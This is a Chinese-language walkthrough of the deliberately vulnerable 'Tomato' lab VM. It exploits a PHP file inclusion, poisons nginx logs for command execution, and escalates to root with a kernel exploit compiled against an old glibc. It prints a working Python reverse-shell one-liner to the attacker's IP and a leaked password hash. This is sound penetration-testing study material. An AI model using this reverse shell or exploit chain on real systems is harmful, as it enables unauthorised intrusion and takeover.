当前位置: 首页 > news >正文

21、Tomato

难度 低(个人认为中)

目标 root权限 + 一个flag

使用VMware启动

kali 192.168.152.56 靶机 192.168.152.66

信息收集

端口信息收集

可以看到有个ftp服务,2211实际是ssh协议端口,80、8888是一个web服务

web测试

80端口显示一个tomato

查看源码给了一些提示

先上dirseardh扫一遍

然后用gobuster的中等字典扫了一下也没有结果

8888端口需要密码登录

可能和前面给的一些提示有关

然后使用cewl命令爬取一下这个页面搞了个字典用hydra爆破了一下这个8888端口的服务发现也没有结果,然后又爆破了一下ftp和ssh服务也没有结果

可能是字典不行,换字典继续跑,把kali的自带的seclectlist下面目录字典使用gobuster跑完了都没跑出来任何东西

看wp用dirb的可以跑出一个目录出来

以后打靶场没思路的时候把所有扫描工具全部上一遍。。。

用的这个的字典/usr/share/dirb/wordlists/common.txt。。。

进去可以看到一些源码内容

把能点的全部浏览了除了这三个图片还有两个txt和info.php其他都是空白,没有其他有效的消息了

看着readme这个网站好像是一个wordpress的一个网站机器人插件用来反爬虫的

突破边界

我以为是要根据这个readme中的内容去官网找源码。。。我搞好了半天都没找到突破点

看了wp看info.php的源码。。。

做这种题只想暴打出题人,到底是在打靶场还是打ctf

看到疑似加载本地资源的参数考虑是否存在任意文件读取,php语言考虑文件包含以及搭配利用各种伪协议

通过信息可以看到这个tomato用户存在

然后继续利用这个文件包含,尝试了一些可以命令执行的伪协议没有什么反应,然后看能不能加载远程文件

但是查看信息发现allow_url_include为off,只有下面两个都为on才支持远程文件包含

那么是否可以尝试包含session文件或者日志文件

经过我的尝试确定了日志文件的路径,一些apache和nginx的路径去猜一下

/var/log/nginx/access.log

并且这个日志记录的是8888端口的访问记录,就那个登录的包修改一些UA

可以看到记录也出现了

那么我们写一段php代码进去然后包含这个日志文件看执不执行

可以看到成功的执行了

那么可以直接写反弹shell的命令进行shell的反弹了

但是搞了半天没成功,我不知道是不是里面有什么编码的问题,写多了搞得这个日志都记录不进去了。只能换个日志选择nginx的错误日志,同时在nginx的错误日志中发现了这个8888登录在使用/etc/nginx/.htpasswd文件中的内容进行判断,然后读取这个文件读到了账号密码

ngnix:$apr1$azDw/Iwv$E7rIlqjeiX9Sx9.sMCcAZ0

拿这个密码去CMD5网站解密发现要钱。。算了还是继续文件包含吧

换了个文件成功的包含了

/var/log/nginx/error.log

这个文件会包含所有登录失败的请求路径和host,那么这里修改host

成功的回显了数据

能稳定执行命令后尝试使用各种方式方式反弹shell,最后使用python成功的吧shell反弹了回来

python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.152.56",7777));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'

拿到shell发现是www的权限

因为是直接使用python的pty反弹的所以已经是比较高级的shell了

提权

然后先上个信息收集的脚本linpeas.sh

一上来就是爆红

小于4.6的内核都可以考虑脏牛提权CVE-2016-5195

尝试脏牛然后发现靶机上面缺少了一些环境。。。这种情况最麻烦了

然后去找其他的利用方式

发现基本上使用c编译成的exp都会受限,应该是在kali上面进行gcc用了靶机没有的东西

strings /lib/x86_64-linux-gnu/libc.so.6 |grep GLIBC_

环境上最高才2.23,只能下载一个带有低版本GLIBC的包然后gcc的使用这个包里的来编译,下载2.1x的包就刚好

wget http://launchpadlibrarian.net/172657656/libc6_2.19-0ubuntu6_amd64.deb

然后使用dpkg -x解压

这里不用脏牛了用上面检测出的第二个

把这个c文件cp到当前目录

gcc 45010.c -o exp -Ldir ./libc6_2.19-0ubuntu6_amd64/lib/x86_64-linux-gnu/libc.so.6

然后上传上去赋予权限成功的提权

拿到flag

这种环境的原因真的好麻烦。另外内核漏洞的一些poc可以在这里找

GitHub - SecWiki/linux-kernel-exploits: linux-kernel-exploits Linux平台提权漏洞集合

相关文章:

21、Tomato

难度 低(个人认为中) 目标 root权限 一个flag 使用VMware启动 kali 192.168.152.56 靶机 192.168.152.66 信息收集 端口信息收集 可以看到有个ftp服务,2211实际是ssh协议端口,80、8888是一个web服务 web测试 80端口显示一个tomato 查看源码给了一些…...

代码随想录 八股文训练营40天总结

参加训练营的话也是给自己一定的约束力,让自己能够定期去对八股文进行一个背诵,虽然说中间有几天放假,没有进行打卡外,还是比较完整的坚持下来了。 从计算机网络--操作系统--MySQL--Redis--C基础,虽然这些知识都有看过…...

Debian 12上安装google chrome

当前系统:Debian 12.7 昨天在Debian 12.7上安装Google Chrome时,可能由于网络原因,导入公钥始终失败。 导致无法正常使用命令#apt install google-chrome-stable来安装google chrome; 解决办法: Step1.下载当前google chrome稳…...

Python | Leetcode Python题解之第405题数字转换为十六进制数

题目: 题解: CONV "0123456789abcdef" class Solution:def toHex(self, num: int) -> str:ans []# 32位2进制数,转换成16进制 -> 4个一组,一共八组for _ in range(8):ans.append(num%16)num // 16if not num:b…...

定位坐标系

定位坐标系是地理空间信息系统中用于确定物体位置的重要工具,它基于数学和物理原理,通过一系列参数来描述物体在地球或其他天体表面的位置。以下是对定位坐标系的详细解析: 一、定义与分类 定位坐标系是根据一定的规则和方法,将…...

安全通信网络等保

通用要求 1.网络架构 1)应保证网络设备的业务处理能力满足业务高峰期需要。 设备CPU和内存使用率的峰值不大于设备处理能力的70%。 在有监控环境的条件下,应通过监控平台查看主要设备在业务高峰期的资源(CPU、内存等)使用 情况;在无监控环境的情况下,在业务高峰期登录…...

7--SpringBoot-后端开发、原理详解(面试高频提问点)

目录 SpringBoot原理 起步依赖 自动配置 配置优先级 Bean设置 获取Bean 第三方Bean SpringBoot原理 内容偏向于底层的原理分析 基于Spring框架进行项目的开发有两个不足的地方: 在pom.xml中依赖配置比较繁琐,在项目开发时,需要自己去找…...

wordpress主题摘要调用显示错误解决办法

如果你的wordpress主题使用了 mb_strimwidth(strip_tags(apply_filters(the_content, $post->post_content)), 0, 360, …); 这样的方式调用内容摘要 如果在主题摘要调用的地方显示错误,导致这个错误的原因是php没有开启:mbstring 开启mbstring的…...

【ESP32】ESP-IDF开发 | UART通用异步收发传输器+串口收发例程

1. 简介 UART可以说是开发者使用得最多的外设之一了,打印log几乎都是使用串口来实现的。UART是一种异步全双工的通信方式,异步传输的特性使得它仅需2根线就可以完成全双工的传输,但这也要求发送端和接收端的速率、停止位、奇偶校验位等都要相…...

2025秋招LLM大模型多模态面试题(六)-KV缓存

目录 为什么Transformer推理需要KV缓存?KV缓存的具体实现 没有缓存的情况下使用缓存的情况下KV缓存在解码中的阶段划分 Prefil阶段Decoding阶段KV缓存的存储类型及显存占用计算KV缓存的局限与优化策略 超长文本与复杂模型场景下的瓶颈量化方案的应用量化方案的副作用与优化方法…...

matlab边缘点提取函数

1、边缘提取 matlab自带点云边缘提取函数,用于搜索点云边界,其核心是alpha shapes算法。alpha shapes提取边缘点,主要是依据滚动圆绕点云进行旋转,实现边缘检测,原理如下图所示。具体原理及效果,可以参考之前我写的博客:基于alpha shapes的边缘点提取(matlab)-CSDN博客…...

Redis 执行 Lua,能保证原子性吗?

前言 小张目前在使用分布式锁 Redisson 实现一个需求。那我在想我能否自己手撸一个能用于分布式环境的锁呢?于是果然尝试。 历经一天后,小张手撸的锁终于写出来了,再次给各位看看,看给位有没有什么优化的建议: // 加…...

让模型评估模型:构建双代理RAG评估系统的步骤解析

在当前大语言模型(LLM)应用开发的背景下,一个关键问题是如何评估模型输出的准确性。我们需要确定哪些评估指标能够有效衡量提示(prompt)的效果,以及在多大程度上需要对提示进行优化。 为解决这一问题,我们将介绍一个基于双代理的RAG(检索增强生成)评估系统。该系统使用生成代理…...

RabbitMQ 高级特性——发送方确认

文章目录 前言发送方确认confirm 确认模式return 退回模式 常见面试题 前言 前面我们学习了 RabbitMQ 中交换机、队列和消息的持久化,这样能够保证存储在 RabbitMQ Broker 中的交换机和队列中的消息实现持久化,就算 RabbitMQ 服务发生了重启或者是宕机&…...

马踏棋盘c++

马踏棋盘c 题目回溯问题模型特征模型 代码 题目 马踏棋盘算法,即骑士周游问题。将马放在国际象棋的 88 棋盘的某个方格中,马按走棋规则(马走日字)进行移动。每个方格只进入一次,走遍棋盘上全部 64 个方格。 回溯问题模型 特征 解组织成树…...

OpenSSH从7.4升级到9.8的过程 亲测--图文详解

一、下载软件 下载openssh 下载地址: Downloads | Library 下载openssl Index of /pub/OpenBSD/OpenSSH/ zlib Home Site 安装的 openssl-3.3.1.tar.gz ,安装3.3.2有问题 安装有问题, 二、安装依赖 yum install -y perl-CPAN perl-ExtUtils-CB…...

系统分析与设计

一、结构化方法 生命周期:结构化分析、结构化设计、结构化编程 原则:程序 算法 数据结构 1、结构化分析:数据流图和数据字典 2、结构化设计: 1)模块结构:信息隐藏与抽象、模块化、低耦合高内聚 2&…...

vite 使用飞行器仪表示例

这里写自定义目录标题 环境vue代码效果图 环境 jquery npm install -S jqueryjQuery-Flight-Indicators 将img、css、js拷贝到vite工程目录中 打开 jquery.flightindicators.js&#xff0c;在文件开头加上import jQuery from "jquery"; vue代码 <template>&…...

【隐私计算】Cheetah安全多方计算协议-阿里安全双子座实验室

2PC-NN安全推理与实际应用之间仍存在较大性能差距&#xff0c;因此只适用于小数据集或简单模型。Cheetah仔细设计DNN&#xff0c;基于格的同态加密、VOLE类型的不经意传输和秘密共享&#xff0c;提出了一个2PC-NN推理系统Cheetah&#xff0c;比CCS20的CrypTFlow2开销小的多&…...

Python 实现Excel XLS和XLSX格式相互转换

在日常工作中&#xff0c;我们经常需要处理和转换不同格式的Excel文件&#xff0c;以适应不同的需求和软件兼容性。Excel文件的两种常见格式是XLS&#xff08;Excel 97-2003&#xff09;和XLSX&#xff08;Excel 2007及以上版本&#xff09;。本文将详细介绍如何使用Python在XL…...

Vue记事本应用实现教程

文章目录 1. 项目介绍2. 开发环境准备3. 设计应用界面4. 创建Vue实例和数据模型5. 实现记事本功能5.1 添加新记事项5.2 删除记事项5.3 清空所有记事 6. 添加样式7. 功能扩展&#xff1a;显示创建时间8. 功能扩展&#xff1a;记事项搜索9. 完整代码10. Vue知识点解析10.1 数据绑…...

PPT|230页| 制造集团企业供应链端到端的数字化解决方案:从需求到结算的全链路业务闭环构建

制造业采购供应链管理是企业运营的核心环节&#xff0c;供应链协同管理在供应链上下游企业之间建立紧密的合作关系&#xff0c;通过信息共享、资源整合、业务协同等方式&#xff0c;实现供应链的全面管理和优化&#xff0c;提高供应链的效率和透明度&#xff0c;降低供应链的成…...

在四层代理中还原真实客户端ngx_stream_realip_module

一、模块原理与价值 PROXY Protocol 回溯 第三方负载均衡&#xff08;如 HAProxy、AWS NLB、阿里 SLB&#xff09;发起上游连接时&#xff0c;将真实客户端 IP/Port 写入 PROXY Protocol v1/v2 头。Stream 层接收到头部后&#xff0c;ngx_stream_realip_module 从中提取原始信息…...

【git】把本地更改提交远程新分支feature_g

创建并切换新分支 git checkout -b feature_g 添加并提交更改 git add . git commit -m “实现图片上传功能” 推送到远程 git push -u origin feature_g...

PHP 8.5 即将发布:管道操作符、强力调试

前不久&#xff0c;PHP宣布了即将在 2025 年 11 月 20 日 正式发布的 PHP 8.5&#xff01;作为 PHP 语言的又一次重要迭代&#xff0c;PHP 8.5 承诺带来一系列旨在提升代码可读性、健壮性以及开发者效率的改进。而更令人兴奋的是&#xff0c;借助强大的本地开发环境 ServBay&am…...

【学习笔记】erase 删除顺序迭代器后迭代器失效的解决方案

目录 使用 erase 返回值继续迭代使用索引进行遍历 我们知道类似 vector 的顺序迭代器被删除后&#xff0c;迭代器会失效&#xff0c;因为顺序迭代器在内存中是连续存储的&#xff0c;元素删除后&#xff0c;后续元素会前移。 但一些场景中&#xff0c;我们又需要在执行删除操作…...

【C++】纯虚函数类外可以写实现吗?

1. 答案 先说答案&#xff0c;可以。 2.代码测试 .h头文件 #include <iostream> #include <string>// 抽象基类 class AbstractBase { public:AbstractBase() default;virtual ~AbstractBase() default; // 默认析构函数public:virtual int PureVirtualFunct…...

区块链技术概述

区块链技术是一种去中心化、分布式账本技术&#xff0c;通过密码学、共识机制和智能合约等核心组件&#xff0c;实现数据不可篡改、透明可追溯的系统。 一、核心技术 1. 去中心化 特点&#xff1a;数据存储在网络中的多个节点&#xff08;计算机&#xff09;&#xff0c;而非…...

Pydantic + Function Calling的结合

1、Pydantic Pydantic 是一个 Python 库&#xff0c;用于数据验证和设置管理&#xff0c;通过 Python 类型注解强制执行数据类型。它广泛用于 API 开发&#xff08;如 FastAPI&#xff09;、配置管理和数据解析&#xff0c;核心功能包括&#xff1a; 数据验证&#xff1a;通过…...

二维FDTD算法仿真

二维FDTD算法仿真&#xff0c;并带完全匹配层&#xff0c;输入波形为高斯波、平面波 FDTD_二维/FDTD.zip , 6075 FDTD_二维/FDTD_31.m , 1029 FDTD_二维/FDTD_32.m , 2806 FDTD_二维/FDTD_33.m , 3782 FDTD_二维/FDTD_34.m , 4182 FDTD_二维/FDTD_35.m , 4793...